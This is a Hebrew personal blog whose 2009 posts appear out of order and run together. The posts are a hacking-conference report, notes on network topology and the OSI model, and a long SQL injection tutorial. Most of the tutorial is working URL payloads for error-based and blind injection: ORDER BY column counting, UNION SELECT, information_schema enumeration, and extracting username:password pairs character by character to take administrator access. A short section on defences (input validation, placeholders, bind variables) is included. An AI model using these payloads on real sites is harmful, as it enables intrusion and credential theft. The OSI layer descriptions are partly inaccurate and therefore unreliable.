ביום ראשון הצלחתי לצאת לכמה שעות לכנס ilhack2009 במרכז הכנסים "בית ציוני אמריקה" בתל אביב. יצאתי לדרך בערך בשעה שבע, והתוצאה הייתה שבשעה שבע וארבעים כבר הייתי בכנס. הכנס אורגן בצורה נהדרת - הוא היה מחולק לשני חלקים – משחקי Wargames בהם יכלו לבחון את הידע שלהם האקרים (ולהציע את עצמם לעבודה ב"הרשות הממלכתית לאבטחת מידע" – חושבים שאתם מספיק טובים?), והרצאות, שעל פי יניב מירון תוכננו להיות הרצאות מעניינות ועל נושאים חדשים. הכנס, המאוד מרשים יחסית לארגון פרטי, אורגן על ידי יניב מירון, יוצא יחידת ממר"מ, שהחליט שהמצב בארץ – לא התקיים בארץ כנס האקינג מזה חמש שנים – לא מקובל על הדעת. מסכים.

יניב מבטיח שהמסורת שהתחלנו השנה לא תגווע, ואכן, עם היענות מרשימה של כ-300 איש, אפשר להגיד שקהילת ההאקרים הישראלית לא שכחה איך הדברים מתנהלים בשנים בהן היא הייתה בפגרה. נתראה בכנס של שנה הבאה.

אולם משחקי המלחמה, בשעת מלחמה

הלוחמים האמיצים

מארגן הכנס, יניב מירון, ומאחוריו - עמדת הדיג'יי

הרצאה על VoIP

ומה למדנו מהמדריך הארוך הזה? בעיקר – שאי אפשר לסמוך על המשתמש. ולכן תמיד צריך להתגונן ובכלל לא להגיע למצב שבו המשתמש יכול לעשות משהו כזה באתר.

בשביל להתגונן בפני ההזרקות, נפעל בשיטות הבאות -

• SQLMAP אמורה לבדוק את פגיעות האתר. אני לא אוהב 'פתרונות קסם' אבל זה פתרון בהחלט סביר. שווה לעשות גם בדיקות ידניות, בכל מקרה. מה שמוביל אותי לנושא הבא:
• בדיקת תקינות קלט, בדיקת תקינות קלט ושוב פעם בדיקת תקינות קלט.
  בדיקה פשוטה של האם המשתנה הוא int או לא, או האם הקלט מכיל תווים מיוחדים כמו ', יכולה לחסוך לנו המון כאב ראש.
• "שומרי מקום"
  בשפות תכנות אפשר ליצור "שומרי מקום" שיחזיקו את המקום בשאילתה בצורה מובנית, ובכך יחסמו מניפולציה של השאילתה. לקריאה נוספת.

. רעיון דומה מאוד הוא Bind Variables בפלטפורמת Oracle (ואני דיי בטוח שגם בSQL PLUS ישנה אופציה), שמצליח למנוע SQL INJECTIONS וכן משפר את הביצועים של הDB, שכן הוא עוזר לו להשתמש בקש בצורה נכונה.

• ובחייאת, אף פעם לא מזיק לתת לטבלאות שמות שלא עולים עליהם בשניות..

הזרקה עיוורת

בשביל לבדוק אם אפשר לעשות הזרקה עיוורת, מה שנעשה זה נכניס לשורת הכתובת נתון לא נכון, ונראה אם חלק מהאתר נעלם (טקסט, תמונות וכו').

לדוגמא, לאתר בכתובת הזו -

http://www.domain.com/?id=2

נכניס את הכתובת הזו -

http://www.domain.com/?id=2 and 1=2

כשברור שהחלק השני הוא שקר – לכן השאילתה לא אמורה להתבצע, וחלק מהאתר צריך להעלם. אם חלק מהאתר נעלם, סימן שאפשר לעשות הזרקה עיוורת על האתר.

1. גרסאת MySQL -

נברר מה גרסאת הSQL בצורה עיוורת – נכניס שאילתה ששואלת אם זה MySQL 4. אם שום חלק לא נעלם, זה נכון. אם לא, נחליף את השאילתה באחת ששואלת אם זה MySQL 5 – ואז נדע איזה מהגרסאות מותקנת על השרת.

שאילתות לבירור אם הגרסא היא 4 ו5 -

http://www.domain.com/?id=2 and substring(@@version,1,1)=4

http://www.domain.com/?id=2 and substring(@@version,1,1)=5

2. אחרי שאנחנו יודעים את הגרסא, נמשיך עם

http://www.domain.com/?id=2 and (select 1)=1

העמוד צריך להיטען כמו שצריך.

עכשיו צריך לבדוק אם יש לנו גישה לMySQL.user

http://www.domain.com/?id=2 and (select 1 from mysql.user limit 0,1)=1

אם יש לנו גישה זה אומר שאנחנו נוכל לשלוף סיסמאות אח"כ בעזרת הפונקציות ()loadfile וOUTFILE.

3. לגלות את שם הטבלאות והטורים

עכשיו צריך לנחש.

http://www.domain.com/?id=2 and (select 1 from users limit 0,1)=1

אם הדף נטען בלי שחסר תוכן (כמו שצריך), אז זה אומר שהטבלה users קיימת. אם לא, צריך לנחש שוב…

http://www.domain.com/?id=2 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

אם הדף נטען כמו שצריך, זה אומר שהטור password קיים. אם לא, צריך לנחש שוב…

ועכשיו לחלק הקשה והמעצבן, אנחנו הולכים לעבור אות אות על השם משתמש והססמא ולנסות לנחש את הערך האסקי שלהם, על ידי שימוש בשורה:

http://www.domain.com/?id=2 and ascii(substring((select concat(username,0x3a,password) from users limit 0,1),1,1))>80

השורה הזו תשלוף את האות הראשונה של המשתמש הראשון בטבלת המשתמשים. הפונקציה אסקי תהפוך את זה לאות, ואז תושווה האות ל80 – אם ערך האסקי שלה גדול או קטן מ80. אם זה נכון, והערך גדול מ-80, הדף ייטען כמו שצריך. אם לא, משהו יהיה בו חסר. אז נמשיך ונגדיל את 80 עד שנגיע לדף חסר. נברר איזה תו הוא בטבלת הascii, ונעבור לאות הבאה על ידי שינוי "1" המודגש בשורה. כך עד שנגיע לאות שיותר קטנה מ-0, ולכן כל מה שנכניס אליה יהיה FALSE ויציג דף חסר – וזה יסמל את הסוף.

ישנם כמה כלים להזרקות עיוורות. sqlmap ככל הנראה הכי מומלץ, למרות שאני מעדיף לעשות הכל באופן ידני.

» מדריך זה הוא חלק ממדריך אחד גדול בעל חמישה חלקים «

עכשיו החיים נעשים קשים יותר…

>> אם הגרסא של הMySQL היא 4 (אם היא 5 – רדו למטה)

נחזיר בשורת הכתובת את המספר החסר (אצלנו זה היה 2) ונכניס גם את המילים from ואז את שם הטבלה.

http://www.domain.com/?id=2 union all select 1,2,3, from admin

במקרה הזה (גרסא 4) תצטרכו לנחש את שם הטבלה ואת שמות הטורים ברוב המקרים. שמות טבלאות נפוצים (מאוד) הם:

…user/s, member/s, admin/s

ושמות נפוצים לטורים הם:

user/s, username,user_name,usr, password, pwd, pass, passwd וכו'.

אם לא קיבלתם שום שגיאה, (ואתם שוב רואים את המסך המוכר עם אחד המספרים על המסך), סימן שניחשתם נכון והטבלה קיימת. אם לא, פשוט צריך להמשיך לנחש…

אחרי שמצאנו את הטבלה (נניח והיא admin), אנחנו מתחילים לנחש את שם הטור. במקום המספר שנמצא על המסך (בדוגמא שלנו זה 2), נתחיל לנחש את שם הטור, ככה:

http://www.domain.com/?id=2 union all select 1,username, 3, from admin

במידה וניחשנו נכון, צריך להופיע לנו על המסך שם המשתמש. עכשיו עושים את אותו הדבר עם הסיסמא ומנחשים את שם הטור:

http://www.domain.com/?id=2 union all select 1,password, 3, from admin

אם יש שגיאה, אז מנחשים משהו אחר. למשל pwd או כל קיצור אחר שיכול להיות. אם ניחשנו נכון, צריכה להופיע לנו הסיסמא על המסך.

עכשיו יכול להיות שהיא תהיה מוצפנת (בעזרת פונקציית גיבוב כמו md5).

בשביל לסדר את זה בצורה נוחה, נשתמש בפונקציה ()concat שבעצם מחברת בין מחרוזות. נחבר בין מחרוזת שם המשתמש, התו נקודותיים (:) והסיסמא, כך:

http://www.domain.com/?id=2 union all select 1,concat(username,0x3a,password), 3, from admin

ועכשיו אפשר להיכנס בתור משתמש כל יכול מנהל וכו'.

>> במידה וגרסאת הMySQL היא 5

אז נשתמש בטבלת information_schema.tables המסופקת עם הגרסא החדשה, שמכילה את כל שמות הטבלאות. נכתוב בשורת הכתובת:

http://www.domain.com/?id=2 union all select 1,table_name, 3, from information_schema.tables

אנחנו אמורים לראות את שמות כל הטבלאות במסד הנתונים.

נסדר טיפה את התוצאות, בכך שניקח מהן רק תוצאה אחת, ונתחיל מהתוצאה ה-0. כלומר, רק התוצאה הראשונה:

http://www.domain.com/?id=2 union all select 1,table_name, 3, from information_schema.tables limit 0,1

במידה והטבלה שלנו לא מספקת, אז אפשר תמיד להמשיך ולהגדיל את המספרים בlimit – כלומר, לקחת תוצאה אחת החל מהתוצאה השלישית (3,1) או לקחת שלוש תוצאות החל מהתוצאה הרביעית (4,3) וכו', עד שאנחנו מגיעים למשהו מועיל כמו admins או poll_users וכו'.

בשביל לגלות את שם הטור, נשתמש באותה שיטה:

http://www.domain.com/?id=2 union all select 1,column_name, 3, from information_schema.columns limit 0,1

וכו', עד שאנחנו יודעים גם את שם הטור.

נניח ונרצה להציג רק את הטורים של טבלה ספציפית (נקרא לה users, למשל), נכניס את השורה הבאה (עם השינויים המתאימים כמובן):

http://www.domain.com/?id=2 union all select 1,column_name, 3, from information_schema.columns where table_name='users'

ונניח שמצאנו את שם הטבלה ואת שמות הטורים, כל מה שנותר לנו לעשות זה לחבר את הטורים יחדיו עם הפונקציה ()concat, כמו שהוסבר במקטע לגרסא 4:

http://www.domain.com/?id=2 union all select 1,concat(username,0x3a,password), 3, from admin

ויש לנו שם משתמש וסיסמא…

לימוד המערכת

כל פריצה מתחילה בשלב של לימוד המערכת. קודם כל, צריך לבדוק האם האתר עצמו הוא פריץ (ניתן לפריצה) או לא. בשביל שאתר יהיה פריץ, צריכים לוודא קודם כל שאכן יש שימוש במסד נתונים (ובשאילתות SQL). כדי לדעת, פשוט נסתכל אל שורת הכתובת. אם שורת הכתובת מכילה פרמטרים משתנים, סביר מאוד להניח שהיא משתמשת בSQL, ולכן – אולי פריצה.

שורה לדוגמא, המכילה פרמטרים משתנים:

http://www.domain.com/?id=2

1. בדיקה האם האתר פריץ.

כדי לבחון אם האתר פריץ או לא, במקום 2, נוסיף את התו ', וניכנס לעמוד. שורת הכתובת שלנו תיראה עכשיו כך:

'http://www.domain.com/?id=2

במידה וקיבלנו הודעת שגיאה, שהולכת בערך ככה:

"…You have an error in your SQL syntax; check the manual"

סימן שהאתר פגיע, ואפשר להשתמש בהזרקה רגילה.

2. מציאת מספר הטורים בטבלה.

אחרי שקיבלנו את הודעת השגיאה, נוריד את ה-' ונשים אחרי הפרמטר (בדוגמא – 2) את המילים "order by 1". ניכנס לתוצאה. לא אמורה להיות הודעת שגיאה. נתחיל ונעלה בהדרגה את המספר שאחרי הorder by עד שתהיה לנו שגיאה כלשהי.

אין שגיאה // http://www.domain.com/?id=2 order by 1

אין שגיאה // http://www.domain.com/?id=2 order by 2

אין שגיאה // http://www.domain.com/?id=2 order by 3

יש שגיאה! // http://www.domain.com/?id=2 order by 4

נניח וכשהכנסנו את order by 4 הייתה שגיאה. (משהו בסגנון Unknown column '4' in 'order clause'). זה אומר שיש לנו 3 טורים סה"כ (יכולים להיות הרבה יותר).

3. בחירת מידע עם Union.

הפונקציה UNION עוזרת לנו לבחור הרבה מידע עם מעט טקסט.

http://www.domain.com/?id=2 union all select 1,2,3

שימו לב שגילינו בסעיף 2 שיש לנו 3 טורים. יכולים להיות הרבה יותר.

אם הכל הלך כמו שצריך, אנחנו אמורים לראות את אחד (או יותר) מהמספרים על המסך. (כלומר 1,2,3)

4. מציאת גרסאת הMySQL על השרת.

אם הכל הלך כמו שצריך עד עכשיו, אז גם השלב הבא צריך לעבור חלק. היה לנו עד עכשיו -

http://www.domain.com/?id=2 union all select 1,2,3

ונניח שהופיע לנו המספר 2 על המסך. אז אנחנו נוסיף את הפונקציה ()version או version@@ (שימו לב לכתוב נכון) במקום המספר שהופיע על המסך, בשביל לרשום את הגרסא של הMySQL במקומו על המסך. שורת הכתובת שלנו צריכה להראות בערך כך -

http://www.domain.com/?id=2 union all select 1,@@version,3

כיום, ישנן שתי גרסאות נפוצות של MySQL. גרסא ארבע וגרסא חמש. המספר 2 צריך להתחלף בעמוד עצמו למספר הגרסא – שזה אומר או ל-4 או ל-5 (נקודה משהו משהו…) אבל לנו משנה רק הספרה הראשונה – ארבע או חמש.

במידה ומשהו השתבש, ואנחנו רואים ארור שהולך בערך ככה:

"union + illegal mix of collations (IMPLICIT + COERCIBLE) …"

אז אנחנו צריכים להשתמש בפונקציית convert(), ובעצם להחליף את הפונקציה שהייתה לנו בשורת הכתובת בפונקציה שעברה שינוי. שורת הכתובת שלנו צריכה להראות בערך כך -

http://www.domain.com/?id=2 union all select 1,convert(@@version using latin1),3

או, אפשרות נוספת היא להשתמש בhex() ובunhex(), כך:

http://www.domain.com/?id=2 union all select 1,unhex(hex(@@version)),3

ואז תראו את הגרסא של הMySQL.

]]> http://krooc.info/?feed=rss2&p=59 2 http://krooc.info/?p=55 http://krooc.info/?p=55#comments Fri, 15 May 2009 21:37:12 +0000 ‫אלון עבאדי‬ http://krooc.info/?p=55

הזרקות SQL היא כיום אולי הדרך המהירה והקלה ביותר לפריצה לאתרים לא מאובטחים. הרבה מהפריצות נעשות על ידי ניצול פרצת האבטחה הזו של GET, ולמעשה, ברגע שהאקר שולט כמו שצריך בהזרקות, יש לו את הכלי להכנס לעולם ההאקינג.

ישנם כמה וכמה מדריכים ברשת, אבל אף אחד מהם לא מסביר כמו שצריך (ובעברית!) את הנושא, ולא מספק כלים מספיק חזקים בשביל ללמד את הנושא הכל-כך חשוב הזה, ואם לא יודעים על הנושא הזה – אז גם לא יודעים להתגונן מפניו. אני אשתדל ליצור מדריך שלא יחפור יותר מדי, וילמד כמו שצריך את הנושא.

קרדיטים

במדריך זה השתמשתי בכמה מקורות. הראשון, הוא מדריך מצוין של משתמש בשם מארצי. המדריך המקורי באנגלית. המקור השני הוא הספר "אבטחת מידע והגנה מפני האקרים" של דורון סיוון בהוצאת הוד-עמי, שמספק רקע תיאורטי על המון נושאים בנושאי אבטחה (אם כי לא מצטיין בהבאת דוגמאות).

רקע תיאורטי

הזרקת SQL היא התקפה המבוססת על כך שהמתכנת כתב מספר שאילתות עבור שימוש שוטף, וההאקר משתמש בהן כדי לבצע פעולות שונות.

איך אנחנו מחפשים פרצות

בעקרון מה שאנחנו עושים זה כל הזמן משחקים עם שורת הכתובת, ומשנים אותה בהתאם לבאגים שאנחנו רואים באתר. המטרה שלנו היא לנצל את העובדה שחלקיק הכתובת הוא בעצם חלק ישיר משאילתת הSQL אותה יצר המתכנת – וזהו חלקיק שאותו אנחנו יכולים לשנות. לכן, אנחנו נשחק עם שורת הכתובת כדי לגלות פרטים על השרת, לגלות סיסמאות ונתונים או, במקרה הכי גרוע, להפיל את הטבלה כולה. אם לבעל האתר אין גיבוי – זה יחסל את האתר שלו לגמרי.

סוגי הזרקות

ישנם שני סוגי הזרקות, בהם אנחנו משתמשים. שניהם מבוססים על אותה טכניקה, אבל ההבדל בינן הוא איך השרת מגיב לפעולות שלנו.

* הזרקה "רגילה" – אנחנו משנים את שורת הכתובת, ומקבלים הודעות שגיאה בחזרה מהשרת, ובעזרת ההודעות אנו מנתבים את דרכנו אל המידע.
* הזרקה "עיוורת" – החלק הקשה של הפריצה – אנו משנים את שורת הכתובת, ואילו השרת לא מחזיר בתגובה שום הודעות שגיאה, אלא רק מראה את העמוד כרגיל או מחסיר חלק מהנתונים בעמוד. (פתאום חלק מהטקסט נעלם, או חלק מהתמונות). ברור שהזרקה עיוורת הרבה יותר קשה מהזרקה רגילה, אבל לפעמים אין ברירה.

במדריך זה אשתדל לעבור על שני הסוגים.

היום הובא לידיעתי כמעט במקרה כנס ג'אווה מקומי, שיכול לעניין (ואולי אפילו יותר מזה) את קהילת המפתחים בג'אווה בישראל. הכנס עצמו ייערך ביוני השנה (22.6.2009, 8:30) בקריית שדה התעופה, שזה במקרה קרוב לביתי. רשמתי ביומן שלי.

להרשמה לכנס: חן, 03-7330779, או באתר www.pc.co.il/sun09

הכנס השני אליו תכננתי להגיע זה מכבר הוא כנס ההאקרים הישראלי. כותרת שאפתנית משהו בדיוק כמו הכנס עצמו, שיתקיים ב24 למאי ויכלול בין השאר הרצאות על ניצול פרצות אבטחה והתגוננות. צריך להיות מאוד מעניין.

אקדים ואומר שיש בויקיפדיה ערך מצוין לגבי הנושא הזה (ואפילו אחד בעברית), אבל מכיוון שאני רוצה שיהיה גם אצלי אחד כזה, אסביר גם כאן את עיקרי הנושא.

טופולוגיה פיזית מתארת את המבנה הפיזי של תשתית הרשת, כלומר לאן מחוברים רכיבי הרשת (שיכולים להיות מחשבים, נתבים או מדפסות וכו'). שימו לב שסוג טופולוגיה זה או אחר לא קובע בהכרח משהו על המיקום הפיזי של הרכיבים ורוחב הפס, אם כי יכול להיות שנתונים אלו ישופעו מסוג הטופולוגיה.

שתי הטופולוגיות הנפוצות ביותר הן Star ("כוכב") וMesh ("מעורב").

Star Topology – טופולוגיית "כוכב"

טופולוגיה נפוצה ביותר. מהיחידה המרכזית (באיור נצבעה בצהוב) נשלחים כבלים אל כל העמדות. המידע זורם ישירות מהעמדה השולחת אל העמדה המקבלת. בדרך כלל במרכז יימצא רכיב תקשורת כמו נתב, מרכזת (HUB) או מתג (Switch).

יתרונות:

• בעיה בחוט המקשר בין רכיב ליחידה המרכזית לא מפיל את כל הרשת
• קלה לתחזוקה
• ניתן להוסיף ולהסיר ממנה רכיבים בקלות יחסית

חסרונות:

• בעיה ביחידה המרכזית תגרור הפלה של כל הרשת
• דורשת הרבה חיווט, שעלול להיות יקר.

Mesh Topology – טופולוגיית "מעורב"

טופולוגיה נפוצה ביותר, נקראת גם "סריג". כל עמדה מחוברת ישירות למספר רב של עמדות (במידה וכל עמדה מחוברת לכל אחת מהעמדות האחרות, תיקרא הטופולוגיה "מעורב לגמרי" – Fully Mesh. המידע זורם בין כמה עמדות עד שהוא מגיע ליעד.

יתרונות:

• בעיה בחוט אחד לא מפיל את כל הרשת, למידע יש חלופות לעבור בהן

חסרונות:

• אינה מעשית ברשתות קטנות ו-LAN.
• יקרה להחריד
• קשה לתחזוק ולהקמה

מודל שבע השכבות נוצר בראש ובראשונה לתיאור רשתות מחשבים, אבל מכיוון שהמודל הוא מודל תיאורתי המתאר את קו התקן, הוא יכול "להתלבש" דיי בקלות על צורות תקשורת אחרות. עם זאת, אני אסביר כאן תוך התייחסות אך ורק לרשות מחשבים.

מודל שבע השכבות, או כפי שהוא מכונה בשפה המקצועית – מודל ה-OSI, הוא מודל שכבתי שמטרתו היא להסביר את הפעולות שצריך לבצע בשביל לקיים תקשורת ולהעביר נתונים ברשת. במודל נקבעו דרכי העברת המידע ברשת וכל ספק צריך ליישם את המודל והתקני במוצרים שלו.

המודל עצמו מורכב משבע שכבות, כאשר לכל אחת תפקיד מוגדר ותפקידה של כל שכבה הוא לטפל בנתונים אותה יצרה השכבה שלפניה. חלק מהשכבות עוסקות ברמה הפיסית, חלקן עוסקות באופן מעבר המידע עצמו ברשת וחלקן באופן הגישה למידע. כמו שהתחלתי להגיד, כל שכבה מקבלת מידע מהשכבה שמעליה, מעבדת אותו ובסופו של דבר מעבירה אותו אל השכבה שמתחתיה. כך שלבסוף כל שכבה יוצרת קשר עם השכבות הצמודות אליה – מלמעלה ומלמטה. לאחר שהמידע הגיע אל השכבה התחתונה ביותר, אחרי כל השינויים הנחוצים, המדיע מועבר אל מחשב היעד, שם הוא זורם בכיוון מעלה, כאשר כל שכבה עוברת פירוש ("קילוף") של המידע הרלוונטי, ובסופו של דבר השכבה המתקבלת בסוף שבע השכבות זהה לשכבה הראשונית איתה התחלנו.

נסקור את השכבות-

• שכבת יישום - אחראית על התקשורת בין המשתמש והמכונה.
• שכבת הצגה - אחראית על עיבוד בקשת המשתמש וקידודה.
• שכבת שיחה – אחראית על תרגום בקשת המשתמש לשיחה.
• שכבת תעבורה – אחראית על העברת המידע המתורגם.
• שכבת רשת - אחראית על הדרך שבה הנתונים יעברו ליעד.
• שכבת קו - אחראית להעביר את הנתונים לשכבה הפיזית.
• שכבה פיזית - אחראית שהמידע בסיביות יתורגם למתחים חשמליים ולשידורו.

עד כאן החלק הראשון של המדריך. החלק הזה היה תיאורטי בעיקרו.

אין לי באמת מושג איך לפתוח את הפוסט הראשון. זה מאורע חגיגי, אבל לא עד כדי כך שצריך להקדיש לו פוסט שלם, אז אני אתחיל בכך שאציג את עצמי – רבותי, אני אלון, צעיר ישראלי בן תשע-עשרה, שמתעניין מאוד בתעשיית ההייטק, בעולם האינטרנט, המחשוב ואבטחת המידע.